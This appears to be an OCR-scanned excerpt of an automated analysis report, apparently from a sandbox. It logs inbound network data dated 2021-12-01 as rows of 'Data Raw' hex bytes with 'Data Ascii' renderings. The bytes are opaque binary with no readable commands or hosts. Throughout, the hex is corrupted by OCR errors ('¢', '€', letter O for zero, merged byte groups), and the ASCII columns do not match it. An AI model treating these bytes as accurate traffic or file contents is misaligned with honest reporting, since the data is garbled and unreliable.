3 9a cf 4f 76 80 fb 3b a2 4f 14 bb 3e 4f 9b ed ad 9c 9a c5 01 d9 b5 41 28 e9 c2 41 30 3c 26 d0 95 ae ef 34 e2 71 74 5b a3
88 00 ab 7e 35 ch be bb b7 33 dc 4b 6a 20 ff d7 ec b5 d2 b1 0d a6 08 5d cO ¢8 3f 0d 16 3f 54 0d ba ca 4f 14 39 ea 4f 3a 17
Oe 86 db b0 18 fe 84 32 Ob 34 c4 6f 7a 4f 28 c9 9c 63 37 c8 1f 5d a7 37 c2 f6 13 55 8e af b2 c0 d9 47 fc fd 98 3e 87 14 bf
50 12 76 78 ae b0 fe de 9f 7a 8c ac 2c 16 c4 9d 8b 8d 06 bb ab b7 15 25 5f 46 a6 3c 99 70 50 21 87 b4 46 bd 27 dc c3 9e
87 e9 51 ed f8 3a 53 f0 ec 7d 53 ¢2 45 b0 27 1d f7 b0 3a 02 a2 ad 1a ef b4 6d 36 7c 7e 73 27 ed 77 ee 23 67 b3 1f 17 10
cf {7 30 4e el 21 ba ec 6e 39 ae 35 52 54 f4
Data Ascii: D6XgqJNGnw:IE@h=0v;0>0A(A0<&4qt[~53K] ]??T090:240z0(c7]7UG>Pvxz,%_F<pP!F'Q:S}SE"m6|~s'w#
gON!n95RT

2021-12-01 08:15:22 UTC 1989 IN Data Raw: d5 07 f2 58 bd ea 2e 69 57 72 5d 8f 29 a3 08 03 70 71 b4 e7 3 8f 3c 86 57 98 1c a7 8a 87 ae 25 09 8b 92 67

1a 1d 5d 38 eb d0 5f 6a 65 62 2e 96 26 d2 df e6 bl d4 c4 a2 71 50 b1 82 6b Oc 1c 8e 4b 4f d4 bf 68 bd 52 90 62 9c 22 48
chb 04 5e 45 5 fa 79 12 9¢ 12 33 32 e4 3c f1 3f 8e af bd f4 ba 6e a9 38 c0 66 20 d6 8c 6f 5a fa ee b2 05 eb f4 2a 18 b9 10
€2 14 7f a5 19 55 38 ca 3e da af a9 d5 85 b9 35 d5 58 d6 b6 22 4c 2f 33 9b Oa 6a 52 €8 d9 21 c0 38 43 04 91 d4 c0 36 5f
ac 5e c1 2d 23 65 b5 bc 74 ed 64 27 Ob ec bf ee ef 75 cd a3 1c 9c ed 5a b9 d0 96 c0 59 6f 7b b2 16 25 c1 07 c0 3a e5 df
€6 44 a7 c9 c2 cf 65 f4 bc 82 44 e7 al b8 2c 4d de ca a5 f3 3d 6b 14 00 de a0 8f 9d ea 96 3d 69 6 42 3d cd 93 a3 c0 22 {7
la a2 b9 99 d7 el 70 cf 4c fa ed 34 f6 5d 68 50 99

Data Ascii: X.iWr])pg<W%g]8_jeb.&qPkKOhRb"H Ey32<?n8f 0Z*U8>5X"L/3jR!8C6_~-#etd'uZYo{%:DeD,M=k=iB="pL4]hP

2021-12-01 08:15:22 UTC 2005 IN Data Raw: 21 ae fc 8e f8 d8 96 06 be fa 2d 94 95 b6 24 dd 5 ad 7b 8d 8d 52 c2 54 64 70 45 e0 06 79 87 d2 fb 6a 3f 14 dc
50 30 d9 d8 2e 22 99 2c 22 d8 54 40 24 3 d7 a0 d5 8f ¢3 f9 b0 d7 db 84 b5 e2 3c 32 40 60 19 24 e3 le c6 9d 5b 4a d6 cd
b1 2e 53 78 Oc 4d 34 8 62 cf ch 95 27 36 ec b5 9d 87 2a a8 e4 90 63 89 54 ef 59 74 6¢ dd 87 f6 d3 b8 fb 7d 11 a2 62 b4
cd 25 9f 89 e3 57 a6 20 8b 11 aa d8 21 8f 78 45 ab 22 5¢ b6 18 b3 cb 3d ee e9 32 85 cf 48 51 2c 96 ae ef 33 Ob 38 59 71
63 66 5b d0 16 91 33 27 60 7a c8 f2 30 5f 0a cf 2c de 15 6b ea bd 57 23 fe 19 46 eb 62 e2 e7 9d 63 10 12 6e 4d e6 f1 2b
03 4e 21 85 76 ed 4c 63 Oc 16 9a 7f 70 9 76 Ob ac ed 9e 41 f1 a5 50 dO 4c 1a 68 3b af 25 78 21 5d 57 c1 5b 54 58 51 f1
d8 bc c8 ad d4 75 cb 6f ed 3b 57 0a 3f 72 Ob fe 4f fO
Data Ascii: I-${RTdpEyj?P0.","T@$<2@ $[J.SxM4b'6*cTYt[}b%W IXE"\=2HQ,38Yqcf[3"z0_,kW#FbcnM+NIvLcpvA
PLh;%x!]W[TXQuo;W?rO

2021-12-01 08:15:22 UTC 2021 IN Data Raw: 8a a3 5a a0 9b da 2f b5 7b d5 31 73 1b 4e f0 a0 3c 1c bc d2 94 48 2e 13 13 e3 c4 e6 al e7 Ob 6a 25 22 c9 4a
22 e3 0e 3d fa c3 0f 02 3c 2d 38 f1 03 70 ¢9 19 bd 07 a3 ef c5 04 el 9d 9e €9 bl 28 d3 54 c6 81 7f 5b 14 78 32 80 45 76
96 33 8e af cO be e4 2f c8 bd 43 e4 6d 4 b 8d ac a7 ca 30 ee fb 5f 4a cb 1d 76 6f bf 8e 07 37 bc cc f6 83 24 5d f9 d6 ce
bc 13 62 4e 43 04 f9 Ob a0 e6 be dd 31 d1 05 58 ¢8 dc ec 32 03 0d al 8 ca db el ed d4 a8 a0 Oe ec c0 88 c0 98 ca f5 25
b7 d8 47 71 81 8a b4 {7 50 2c 34 e3 62 df 52 Oc e2 54 aa d0 02 1e 14 fb f9 19 4a 73 3e 71 f9 0a 49 dd 3c 6e 77 08 81 31
€2 98 34 f0 ff 30 28 13 37 67 fd b1 01 72 21 1d 72 9f 6a 25 db 88 45 9a 33 61 aa ce €6 71 39 48 71 91 5e 66 7b 73 71 bf
6c f7 43 7d c1 55 fd fe 1b c6 86 00 2e d4 30 b0 16 3¢
Data Ascii: Z/{1sN<H.j%"J"=<-8p(T[x2Ev3/Cm0_Jvo7$]bNC1X2%GqP,4bRTJs>ql<nw140(7gr!rj%E3aq9Hg {sqlC}U.0<
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 2037 IN Data Raw: 6a el 3c bc 28 bb 75 4e 75 fO 2c 8b 49 be a6 bf €9 ec 5¢c 55 eb 5e 47 {3 Oe cc 76 a5 54 b2 6b 62 93 b9 be bd
be dd 4e 7b df a4 c3 64 8f c1 da 22 bc 03 04 5b a7 0d 41 38 0d 15 bc 20 49 04 fd bd 21 18 1a 85 1e 1d 26 d9 1b 83 60 9e
c6 ae f9 9b d8 17 93 e3 5a €3 70 7e 61 22 b1l bc 1d cf 48 40 0f 00 da c6 79 b3 a0 b1 7d 30 5a 8b 3 89 12 3e 68 43 c5 f2
86 f6 €0 f2 9c 07 1d 75 43 ef f9 86 4b 2a 17 30 c6 98 b8 59 68 c5 96 43 4c eb b3 12 f0 fd €6 85 ¢3 20 07 e4 al 11 78 44 6a
2a db 6b 75 d8 d7 e3 a5 7f 4a 54 41 43 2c 76 Ob e3 de 1d 51 ba 8f 08 3d 80 80 7c fc b8 ea f2 46 21 7c 55 77 e4 fc 10 97
Ob ea 90 19 22 0a Oc bc 7e 2f b4 85 33 58 04 43 af 48 21 05 87 2a 55 0a 37 12 97 24 33 a9 a6 58 ef 4a 99 b3 8b 76 35 4e
c4 el 02 7a 49 58 28 95 3e 0f 83 25 c5 db dd bf 77 7c
Data Ascii: j<(UNu,\U"GVTKbN{d"[A8 I!& Zp~a"H@y}0Z>hCuCK*0YhCL xDj*kuJTAC,vQ=|F!|Uw"~/3XCH!*U7$3XJv
5NzIX(>%w|

2021-12-01 08:15:22 UTC 2053 IN Data Raw: 42 a4 a8 ac 86 6¢ c0 a6 el 53 50 17 el 91 89 38 8 cb 61 cc 6d d6 e2 bf 84 Oe 15 20 9d a4 0d 78 66 f4 55 f9 64
43 4c 26 db 4f 43 8e c6 49 87 e8 ca 5f 51 a8 18 38 74 ca ca e7 4d e7 fc 69 3c 09 ab 86 08 58 8c 7b 63 ef 8e 9f d1 d9 35
a3 bf 1d d2 9b f5 6b 50 e5 02 ea 56 fa f5 1a 55 11 f1 a3 be 74 97 ce cf 74 1f 4f d4 47 c6 15 5f c9 3e ed db d8 1d 72 Oe al
Oe 96 46 fd 91 97 d5 03 da c7 94 70 9a 5d da 27 94 b2 11 3c Oc fb 7f 91 d3 86 e cf 2f 12 58 5b b0 63 e4 74 a6 60 d4 6f bc
bb 50 b7 59 b9 68 4c 3f ef 75 ¢8 43 3f d4 1d b0 41 05 70 d2 d9 65 06 6¢ fb 57 86 09 df 7d 82 8d 57 4a f2 42 48 5f f8 95 e8
4083 d5 ca 1f be 67 d5 ec 17 fb f4 bd 4e 1c 7c 36 50 06 be 3e a2 9e 81 30 81 74 c4 5a a4 b6 76 37 €3 0d 62 51 23 9f 30
94 cd 28 16 35 bf Ob 7d 21 92 40 d5 a4 9d 70
Data Ascii: BISP8am xfUdCL&OCI_Q8tMi<X{c5kPVUttOG_>rFp]'</X[ct'oPYhL?uC?ApelW}WJIBH_@gN|6P>0tZv7bQ#0(
5H@p

2021-12-01 08:15:22 UTC 2069 IN Data Raw: 3e €9 Oc €8 25 bd 64 d8 21 bb 51 c6 32 cc 39 53 5b 1b f1 76 4c 59 27 da 1c db 23 55 5f fd 6b 39 c6 39 61 1d fb
94 7c ea 2a bf f2 87 a5 91 aa 49 51 a8 e0 5a 05 c1 22 a9 b3 ad cd 68 35 26 b6 07 65 2f 3b 00 1c 66 3c df 83 73 ee 21 50
17 91 5e f1 da 81 fa f1 06 b5 5c e6 43 a0 7f 9b fb 3c ea 46 73 f7 c8 fb cf 97 38 29 44 3b 7e aa 8b 19 ad 6f 3a 04 23 89 bd
65 3c 56 ¢9 11 28 75 f9 32 1d 5b 42 81 83 5¢ 50 89 64 0a 46 1d 78 06 d2 2c ca d7 9a 96 b2 cb d8 f2 13 5c 4a c0 90 57 a8
59 99 b4 78 57 bd d8 bb e5 39 24 51 e3 6d da 86 f7 48 16 a0 fa 21 91 52 8b 08 af 55 74 51 3a f9 63 1a 77 e6 8f al dO 6¢
c9 0b 95 90 cd 41 9a 95 dd 96 4d 8d 70 dc 8b a9 2d Oe d2 4c 00 17 80 da 84 cb 1c €9 40 65 82 fd fe 54 01 f8 69 73 49 64
ad e7 a9 9d ed e3 3b b4 d9 3f 79 db 61 6f 1e 87 57
Data Ascii: >%d!Q29S[vLY'#U_k99al*IQZ"h5&e/;f<s!PMN\C<Fs8)D;~0:#e<V(u2[B\PdFx,\JWYxW9$QmH!RUtQ:cwlAMp-
L@eTisld;?yaoW

2021-12-01 08:15:22 UTC 2085 IN Data Raw: 69 9d f3 f4 48 bc 71 43 f3 87 5¢ 5a 14 63 ce d8 31 6d 84 01 ca f9 81 56 43 52 33 e4 1a 39 de f8 3b c9 bd 1a b4
18 65 70 c9 e7 91 a9 24 6e 95 e3 8d 2e de Ob 5d b3 77 69 d2 a2 dd b7 fe 4a 5e 96 33 98 33 d8 e4 fb c7 b1 3b c3 05 dc 25
ac a7 c2 f6 7d 23 ce 45 f4 01 6d 0d 4f ac b1 cb 20 9c f8 8e 99 11 74 69 84 a3 bf a5 87 37 43 b9 4d 9a 51 ce c3 cb 54 d2
a4 00 db d9 c6 c0 9f 7a 89 b5 56 c2 ba 3f 9e d5 f3 e5 5e e6 df dc 4f 2d 29 75 bf 1e b6 a8 30 e7 47 83 64 ea 57 f0 2b d4 6d
fa f5 4b 1a 58 Oa b7 d0 c5 93 aa da e3 86 1e 29 0f 78 cd 84 fd f9 Ob 50 b1 79 5d 04 60 87 49 89 de 89 1a 10 Oc 56 a4 2a
41 a2 39 ee 10 30 b0 51 b8 0d 94 c9 25 f7 e8 68 05 26 31 ca 8e 89 06 f9 5e 67 67 8c d7 5a 68 fO ff cO 52 98 b8 Oe 1c c3
a5 08 89 f8 54 00 18 8 54 2f fa 7e 81 e8 21 67 bc
Data Ascii: iHqC\ZcImVCR39;ep$n.Jwil*33;%}H#EmO ti7CMQTzV?"0-)u0GdW+mKX)xPy] IV*A90Q%h&1"ggZhRTT/~!g

2021-12-01 08:15:22 UTC 2101 IN Data Raw: 28 56 f5 7e 42 f2 87 d4 86 86 44 43 3b 2d 79 cd 41 07 df b3 a7 38 ba 3a 70 7e 7a bd ce 15 c2 50 53 96 a5 9d
d3 1f 75 88 1c cb 3b 47 83 2e c5 e2 8e 72 2f 58 7d af 12 ab 52 05 2e 8d dc Oc 17 5d d9 Ob 51 ef d9 2¢ 3f d1 16 d1 95 e6
4c 9a 6¢ d8 fc Oe 8f 89 71 4b 54 ¢5 89 0d a2 ab ed f9 59 e4 36 3c bb Oe 8c b6 81 20 6¢ fa bf 2d 50 4a ef 50 4e 66 80 b4 04
ef 9f a9 c1 de fO 5e 58 5f 7b af 3f 45 dd 53 a6 bd c2 ¢8 20 5d 9c a8 c1 ee cf db eb e2 31 7f 26 aa 38 3f 6a 15 79 72 a9 7
24 b2 41 ee fe a2 65 6a d1 64 55 €5 93 3e ce c0 80 €0 50 56 76 1d 7 e3 f8 5f af af da 70 b2 fO 61 2e 8a 71 bd Oe 2a 9c fd
8d f4 Oc ed 4e al el 0d 5b 9c 6b 34 40 69 a5 08 54 06 2b 08 71 23 4f 23 2c €3 73 de 9e 40 6¢ 84 2e 93 76 7f 06 33 dc 85
ff cb fO 9f 79 7 8d fc 80 bc 1e 65 6¢ 39 c1 59
Data Ascii: (V~BDC;-yA8:p~zPSu;G.r/X}R.]Q,?LIgKTY6< |-PIPNfAX_{?ES ]1&8?jyr$AejdU>PVv_pa.q*N[k4@iT+q
#0O#,5@I.v3yel9Y

2021-12-01 08:15:22 UTC 2117 IN Data Raw: 4d bb d8 08 3a 77 e1 d3 f5 53 82 6¢ d6 38 ec 15 71 99 26 24 fa b9 e4 Oc 2d 38 38 dc 29 28 60 65 14 3c 79 6a
76 af e5 96 fc 4b 56 a0 c3 ac b4 25 al fe 1f 08 5f df cf 11 f6 ea 48 3a 90 58 8a af ea c1 92 c8 67 b8 be 82 c¢8 1d 08 59 58
97 0b 24 ed c5 31 cb 00 3a 28 17 ec 9a 6¢ 67 9d 3e €9 26 99 84 Ob b0 5e 4a 64 58 a9 d7 b2 1c ba 58 7c f3 de 74 21 8d 9c
df 4e 0d 90 30 2a al ae aa 8e de 2b f6 6b 92 6¢c db 39 b7 95 b1 b7 01 ff 06 a7 fc 70 3f c2 44 23 7f 2c 09 57 06 c7 fc b7 25
69 cd 6a d5 f2 20 cc aa b1 d5 b1 71 20 e7 74 af 70 9c c4 fc da 46 3e c0 29 a8 b3 42 1c 60 31 fe c0 72 37 Oc 3b f9 37 3a ff
01 02 f1 ac 6e 8f 74 76 af 32 61 5f be e2 a3 c6 34 ad b4 ba 2d af e2 d7 25 el 24 49 ed d9 99 c0 23 d4 be c0 61 6f 59 91
al 30 74 17 21 3f b5 6¢ 17 45 cd e6 fd be 6b 91
Data Ascii: M:wSI8q&$-88)(‘e<yjvKV%_H:XgYX$1:(Ig>&*JdXX|tINO*+kI9p?D#,W%ij ¢ tpF>)B 1r7;7:ntv2a_4-%$l#aoY0t!?|
Ek

2021-12-01 08:15:22 UTC 2133 IN Data Raw: 4a 8c f7 a3 €9 al d8 2b 81 Oa 11 cf 6f dO 62 3e 61 73 Oa 4f 9e 3d 42 e2 00 ac 9f 4b 29 d0 4f ec 39 20 4a 42 f9
e5 5a dc bc 45 8a ad e6 53 48 cb de d7 a3 8a 46 91 2c a5 12 ea fc eb ee 6e 2f d6 67 6f 01 71 Ob dd db cb 7e 96 2b b1 2e
d8 cf 5b d0 9b 7c¢ 33 3a 53 89 8¢ 90 68 c4 f9 ce 0a 9d b9 f9 4a 03 b5 73 be 6d d5 d6 32 39 16 bc 7e 13 63 6f ea 28 f4 72
95 92 68 0f 80 97 ac 6¢ fc 8 54 35 e4 28 ed 60 5f 69 da 24 81 ff 1b 99 ca b1 06 b6 8e 9a c7 5f 29 1e 6f df 2d d9 e5 e9 Oa
87 7e 12 65 7e b5 58 9a 6d 43 33 63 c5 €0 34 9e f1 95 cd 11 7b e2 3a 71 a0 54 72 ff d7 12 69 06 65 45 97 d9 46 1e 09 86
le e3b38d 0205 e8 24 11 el 21 7d 3e e2 e6 bf 02 f1 67 dO 04 ad 6a 4e 91 c6 07 1f af 97 e5 f7 a6 8e be b4 d4 39 5a fO
d8 7 8b b0 cb fc 2c 57 24 59 1a 9a 38 fe af 45 1f
Data Ascii: J+0b>asO=BK)09 JBZESHF,n/gog~+.[|3:Shdsm29~co(rhIT5(_i$_)o-~e~XmC3c4{:qTrieEF$!}>gjN9Z,W$YBE

2021-12-01 08:15:22 UTC 2149 IN Data Raw: 84 aa 19 65 f1 22 8d 23 29 94 cb 2c a8 ca 3d ab 1c 69 a4 ee cb 45 52 22 13 ca 86 54 e4 97 3d be b9 e7 6f 24
9d 04 7e b8 f3 ee 5b 4b 4c fd b6 3a 2f ad 64 ¢3 el aa 98 39 f5 11 3e a9 bc 2e 81 75 7b 09 6a 01 dc 1c 94 75 70 61 41 b5
66 85 33 4b 22 04 82 dc e8 a2 8b 59 1e 71 94 ¢4 74 cb 45 9f ae 2e e7 8 bc 06 aa fe cf 37 fb 2f 3¢ d6 2d 1f ca 85 20 cf 0
fe ee dc f4 49 e0 d5 b6 3a 03 ab 36 b8 bb 3b 59 25 ec fc 59 03 ca e2 a6 ba 76 52 8f 2¢ d1 54 65 e3 d3 Oe 8a ea 2d b8 93
b4 6c b8 75 1d 9e 2f d7 34 d3 6¢ 60 54 58 f5 02 cd 28 5e 98 cc 68 36 ea ¢5 26 ab d7 ab a4 dd f9 76 44 07 63 6f 9c 21 4c
2d b4 b1 07 14 ab 43 02 00 8 9a c9 ff e2 47 Ob fd d5 6b 6¢ 9e be ba 7a c9 0d 70 50 72 99 42 31 64 cf 96 e1 b9 c9 98 99
0c 0a 79 4c f8 cd 45 51 58 09 27 ¢9 b8 e2 ef bf 28 12
Data Ascii: €"#),=IER"T=0$~[KL:/d9>.u{jupaAf3K"YqtE. 7/<- 1:6;Y%YVR, Te-lu/4I TX(*h6&vDco! L-CGklzpPrB1dyLEQX'(

2021-12-01 08:15:22 UTC 2165 IN Data Raw: 3a 46 47 49 db 70 fc cf d6 bb 01 6a 85 aa 96 a4 cb c6 4e 31 01 6f 77 bf 64 61 cf 0d ab 6f 73 ed 46 94 78 b7 a8
c140f3 22 89 66 8d ac c2 Oe 88 8d ef f3 20 1c 22 eb 61 99 09 3f 6¢ 6e b5 35 1a 45 5b 41 2f c9 30 31 6f 25 7c f0 00 42 b0
b8 00 4b 76 58 c6 17 fe c2 c1 a9 d6 2d 2e d4 25 ed ea 94 5a c5 7a ad 06 43 01 93 87 al e7 02 Ob c1 41 e3 cO ff 57 20 77
5b ac a7 a2 7f 74 56 9e 81 47 78 4f c5 23 e4 6b 77 86 al ea 7b 72 df 40 3f 93 ¢8 d8 9e 22 ab 9c 2f b5 1d 5a 43 72 8a c4
f7 5b b0 51 b8 d1 e3 73 57 ef 35 b9 19 89 b2 al ce d9 fe ed 06 87 98 36 c6 25 3c 17 82 ed ed d7 bd e3 6b 0f 54 24 08 30
1d b7 39 de 79 0d 8b 9a 4f e7 23 8d 69 ec dO ab 5d 46 ef c6 33 7e 4d 1d 08 55 d9 2e 3f 78 a7 63 c5 87 42 c4 bd 06 eb 8a
18 7d 14 5¢ 37 5d 58 cd fc 74 4b 10 2f 60 c4 42 94
Data Ascii: :FGIpjNlowdaosFx@"f "a?InSE[A/010%|BKvX-.%ZzCAW w[tVGxO#kw{r@?"/ZCr[QsW56%<kT$09yO#i]F3~
MU.2xcBN\7]XtK/'B
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 2181 IN Data Raw: ac 05 fa 30 43 18 18 42 34 9f ad 7e 68 4e 94 7f 3f 4b ef f5 c6 65 87 24 d4 ac 48 3c 8e f3 7c 33 86 67 f9 8b d5
37 a0 1e 68 58 3e b6 9b 74 fd 36 28 5b f1 69 dc 63 93 2a 67 9¢ 50 47 50 5 d5 72 fd 92 42 b3 74 3a fd 68 47 d7 fb 4a 62
4e 71 74 ec 8b 93 15 41 ec ed 1c c7 ab 61 27 d5 3d el d8 4b 2e c7 1f 4c 5d 37 52 94 1f 06 5f 34 f8 fc 2c 5f a9 8e 18 56 8¢
2f 64 6d c4 7e 93 98 5d 2f 50 42 12 ed 8e 9a fc c0 03 73 d7 90 ea 68 bc b0 e4 83 d2 39 3e ee ee f4 6e 03 34 6¢ €0 eb €9
46 al cf a2 df 25 a7 07 27 d7 2a c5 ae 7d c3 81 fc fe 04 80 2f dc 13 33 f8 ¢3 87 18 f2 66 de 7c 35 80 e7 af Oa e8 c8 57 3f
58 Oe 82 1b €9 c8 €9 8f 09 €9 20 62 12 f3 29 ba fd 2e ca a0 eb 32 93 8a 10 42 56 ee e3 1a 28 2f 58 fa 59 29 0d 06 83 8a
13 c0 18 a0 bc 24 8f 55 11 1b 1e 58 35 ff 6b 27
Data Ascii: 0CB4~hN?Ke$H<|3g7hX>t6([ic*gPGPrBt:hGJbNqtAa'=K.L]7R_4, V/dm~]/PBsh9>n4IF%"}/3f[5W?X b)
.2BV(/XY)$UX5k'

2021-12-01 08:15:22 UTC 2197 IN Data Raw: 08 95 44 cf 72 0a 86 8c €0 9c 37 09 2a 8e cd c7 58 07 fd 63 91 fb 68 fO 2c cb b3 bl e4 ce fb f6 00 5e 34 67 06
f2 4c b2 14 Oe 3a d4 19 36 90 f2 96 c6 53 2¢ 3f e2 80 db 6b b9 91 c0 c2 fd 34 67 fd 84 cf 08 a8 84 e6 fc e1 09 f8 b9 dd b6
€9 b9 73 92 d6 b9 fO 3e 7e 5e 56 7d c5 ea 09 7c da 1e 59 55 be e5 92 83 ec 97 b8 83 15 3b 80 96 c8 4d 88 4b 4c 8e 10 3
af da 53 4e bb 5a 8a c8 19 c1 06 40 49 3c a7 f7 58 66 f8 6b 37 93 19 ef fc 8a 77 a4 1c 49 24 62 ac 84 17 c9 20 c1 e9 eb
94 d9 e7 0a 6¢ 5f €2 12 40 28 a4 bf f5 8b 2e 8d 90 1e 25 0a 65 85 7d 3 54 13 93 3a d4 16 9a 2d 1f 88 a9 da 55 fb 55 b6
26 f0 8¢ 97 88 df 4d 10 33 6b 13 3d 58 f6 46 ee 07 dc 77 15 03 ea ba a4 15 ac 55 19 57 a0 15 ee 12 2f 69 50 68 b3 50 22
fd 92 08 1e ce 10 5f 5b 2d 2c fc 1b c6 79 4f b2 4f
Data Ascii: Dr7*Xch,"gL:6S,?k4gs>~"V}|YU;MKLSNZ@I<Xfk7wI$b |_@(.%e}T:-UU&&M3k=XFwUW/iPhP"_[-,yOO

2021-12-01 08:15:22 UTC 2213 IN Data Raw: 95 d6 a9 ce 29 e3 3f 65 13 74 8a af 80 e4 0a c7 fe 3e b8 46 87 7b 06 3f 20 bf fd 69 51 el f5 5e c¢1 27 c1 2b 3e
a3 56 7e b3 cf e4 cf a4 c6 c2 e8 e8 16 b5 eb fb dO b0 75 7b 45 31 34 a4 e3 d9 2a da b9 36 40 42 fe 83 cf 7b ec 09 8c dd f1
1b 84 a6 ee 04 27 24 ed el a8 e2 fd f4 3a f0 81 93 66 e1 68 1e 63 e0 72 c1 9e 7d 44 bf 8f 31 80 cd ab f6 05 c3 c7 51 6d
d9 22 a4 9c 7f 9d 8e 8c 8a a4 0f 38 96 ff dd 57 de 52 b9 af 8d 69 63 4c 59 14 41 28 70 b0 ab 83 75 55 47 7b 46 96 95 6a
51 d4 0057 20 d1 29 7d a5 04 c6 dd d9 7d ba b4 3f 9b e7 94 a7 3a 1f el b1 5b 40 7c 6b 4b f9 78 0a 40 5f ee d9 6a b0 b8
15 cd f9 7f el ea 2e 7b 58 d3 98 cc 03 38 0a 05 36 b5 52 56 Oe 83 c2 8f 02 07 03 6b cd 37 a3 35 39 93 78 16 3a ce ec a3
90 b1 b0 e7 f8 9¢c 20 77 b5 31 ea 87 9f 98 2e 16 73
Data Ascii: )?et>F{? iQV+>V~u{E14*6 @B{'$:fhcr}D1Qm"8WRIcLYA(puUG{FjQW )}}?:[@|kKx@_j.{X86RVk759x: wl.s

2021-12-01 08:15:22 UTC 2229 IN Data Raw: 60 ff 40 bd ec d4 52 d4 ca 04 d2 e4 56 2d 60 64 f4 09 0d 35 d8 7e 92 c2 85 29 ca 6a 21 3¢ 42 59 ec a7 21 61
2c cd 64 a2 f4 f3 6b 82 14 6b d5 da 2c 2a e8 67 el ed b5 f9 bd 24 f0 d1 d3 a2 c5 c0 85 0a b0 2a 7 83 2b 35 e2 26 b6 0f 54
d3 ff c5 a5 61 6e 21 00 57 96 33 20 95 ac af 92 1c 32 ¢6 16 b9 1e 9c d5 07 9d c8 b3 7f 96 c1 26 3f 99 53 d0 6f 1c f5 54 73
45 a6 42 72 6e 17 b4 be ae 9f d9 84 31 3c 30 69 92 38 b7 c4 0d 5 03 59 3a 2e 59 e2 9b 54 1c 80 15 90 b8 01 16 5d 6¢ 85
b8 b2 2 df 63 c6 bb 68 d7 80 f8 05 d5 e7 a2 00 a3 c0 b6 9f d2 4d 01 3f 41 b3 79 cf cc a2 71 b3 2b al ed a2 d5 82 25 a3
d5 f5 51 dd 43 c4 a2 b3 22 52 8d f1 04 2d c2 df f8 68 80 6e 97 aa ee fb 17 20 b8 de 4a 25 a2 f9 21 6a ce 36 Oc 05 69 60 8e
d1 d9 d0 de 60 12 1b df 40 8b ef 78 b2 1c 46 52
Data Ascii: ‘@RV-'d5~)j!'<BY!a,dkk,*g$*+5&Tan!W3 2&?SoTsSEBrn1<0i8Y:.YT]lchM?Ayq+%QC"R-hn J%!j6i" @XFR

2021-12-01 08:15:22 UTC 2245 IN Data Raw: d0 e2 88 b6 7e 6¢ 80 14 1d 92 ab b1 bl e2 ea b5 48 f6 a8 89 b4 58 3a 55 40 le 34 8 fc 4c 83 da c2 17 4f 24 cO
3a 58 d8 b4 62 7d 86 1c b5 8b 3a ef 17 09 55 dc fa 1b 43 41 8a 48 c2 40 69 5a e8 af 5a Oc 89 7f 6¢ Oc 35 3a ab b8 b4 9d
fe 5d df 75 e8 ac 22 53 43 51 45 1f 44 e0 39 3a a8 5¢ 59 81 4c f2 95 42 78 f0 05 5b 32 3d 11 ¢3 57 91 70 a9 c0 4a 24 a7
7c d9 39 15 92 13 35 50 82 65 5d 40 67 b4 3e c5 24 d3 ef 08 2d 6e 69 be 08 cf 36 70 ba bd 10 e3 47 d9 ee b3 8b f4 31 f9
5c 3d 70 a7 58 a8 e7 d6 ab a4 96 5f 43 43 70 9d d6 16 6d fa 9a 8a d8 fe 48 76 e4 1la 1d b6 38 5¢ 36 d9 25 af 81 8b 63 7a
6¢ 7b €7 21 64 de 83 37 f1 d7 ab db el 74 2f 41 5f e7 b5 ae 60 01 8b 1f ec ce 64 2¢ 20 cf e4 35 2b a7 d1 03 5b 27 27 11
€0 40 65 9e 2c 88 f4 53 61 77 24 cf 9b 15 f1 bd 2a bl
Data Ascii: ~IHX:U@4L0$:Xb}:UCAH@iZZI5:]u"SCQED9:\YLBX[2=WpJ$|95Pe]@g>$-ni6pG1\=pX_CCpmHv8\6%czK!d7
t/A_"d, 5+["@e,Saws$*

2021-12-01 08:15:22 UTC 2261 IN Data Raw: 53 98 02 31 f6 d0 6a 54 2 14 6b b3 77 1f 4f 66 b9 07 bf de 64 al 26 fa 88 34 0a 17 26 93 60 92 ca 56 8f f5 40
26 18 f7 d2 ea f8 60 b8 84 ab 41 21 30 da c2 b3 fb €8 36 fb 71 ae 44 2e 51 14 f9 59 df c1 b9 56 b8 c4 46 ca f0 c6 bc 78 61
bc 41 3c a5 9a 3d ¢5 06 91 ad 2b e0 ce 99 c4 6b 74 e4 9b 4 05 50 f2 d8 7e fd 1f 63 8e ea a9 88 95 4f 8d 86 f5 60 4a cb
el 128559 3c 6a 2e 8a f7 8e ¢5 b9 cd b5 d9 ff 4d 82 24 48 35 44 91 cd 4a 24 68 2b d9 ea 29 e7 6a 59 de d9 81 67 b9 dc
6b a8 3c 1d 28 9a d5 b2 d9 fa 4a de d8 bd 38 73 17 e2 fc 6d 2e 11 58 a3 57 b8 64 2b 93 df c6 ff 13 62 6d 72 7b 02 b7 d1
€987 7d c6 29 89 dd 7c fb 2d b5 6a 9b bl 1c c1 39 18 6e 64 ea el 1le 74 99 6¢ 99 83 1a 36 20 7d 28 ee a6 7a 55 3d 77
85 3539 2b 0f 42 €3 96 13 28 51 f1 13 d8 fb 48 de 68
Data Ascii: S1jTkwOfd&4& V@& Al060D.QYVFxaA<=+ktP~cO"JY<j.M$H5DI$h+)jYgk<(I8sm.XWd+bmr{})|-jondti6 }
(zU=w59+B(QHh

2021-12-01 08:15:22 UTC 2277 IN Data Raw: 9f b6 02 9b 94 74 26 91 70 67 0d 03 2f 58 28 13 88 75 6¢ 98 9b cf 84 21 10 c6 c0 82 6b e6 da 32 11 fd 4d 83
e38d 96 ab 1a 95 b7 6f 4f 54 9f 78 63 11 9d 8b e8 d3 2d 1a 54 00 6e 84 bc cc f3 el af 19 32 91 37 2b 6b el 33 34 2e 78
9d e9 df 55 75 99 90 52 dd 2f d2 b9 fd 2e 33 44 56 f8 fe 03 b6 d3 Oe 7a 34 db 6a af d8 5e e2 f1 84 f2 e7 92 a4 c9 f5 be dd
14 d1 55 ¢9 f3 c1 e5 35 ¢7 97 ¢2 43 20 75 2f c2 53 0d db 73 1d 5b 2b 47 8b fa 75 7c c2 83 4f ba d4 fb af 87 92 5d 9b 4a e2
37 d6 a6 3f 13 1d 32 f9 b4 16 3e 8b 38 dd 37 ec fd 21 19 16 23 4d 50 dc 93 b7 32 ea 16 19 88 97 c7 6e 5e 02 fb b7 da 7f
0f 3ad3 05 e9 df c1 51 10 e f2 2d ec 8¢ 32 fd 1f cf 28 4b a7 4e 78 7e 78 a8 6e f3 82 30 b2 79 b0 52 66 16 02 df d7 44 c1
86 44 01 0f 3a 23 7f €8 12 9d a0 96 2f c3 f0 73
